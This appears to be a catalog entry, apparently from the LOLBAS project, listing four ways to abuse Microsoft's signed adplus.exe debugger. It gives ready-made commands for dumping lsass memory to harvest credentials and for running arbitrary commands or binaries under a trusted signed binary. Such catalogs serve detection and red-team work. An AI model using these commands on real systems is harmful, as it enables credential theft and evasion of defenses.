DΛΣMӨП

Catalog LOLBAS

LOL · OtherMSBinary

adplus.exe

4 techniques WindowsLOLBAS GPL-3.0

Dump

Credential Access Windows

Creates a memory dump of the lsass process

Use Create memory dump and parse it offline

adplus.exe -hang -pn lsass.exe -o {PATH_ABSOLUTE:folder} -quiet
Context
system
Native
Dump

Execute

Execution Windows

Execute arbitrary commands using adplus config file (see Resources section for a sample file).

Use Run commands under a trusted Microsoft signed binary

adplus.exe -c {PATH:.xml}
Context
user
Native
Execute
MITRE
T1127

Dump

Credential Access Windows

Dump process memory using adplus config file (see Resources section for a sample file).

Use Run commands under a trusted Microsoft signed binary

adplus.exe -c {PATH:.xml}
Context
system
Native
Dump

Execute

Execution Windows

Execute arbitrary commands and binaries from the context of adplus. Note that providing an output directory via '-o' is required.

Use Run commands under a trusted Microsoft signed binary

adplus.exe -crash -o "{PATH_ABSOLUTE:folder}" -sc {PATH:.exe}
Context
user
Native
Execute
MITRE
T1127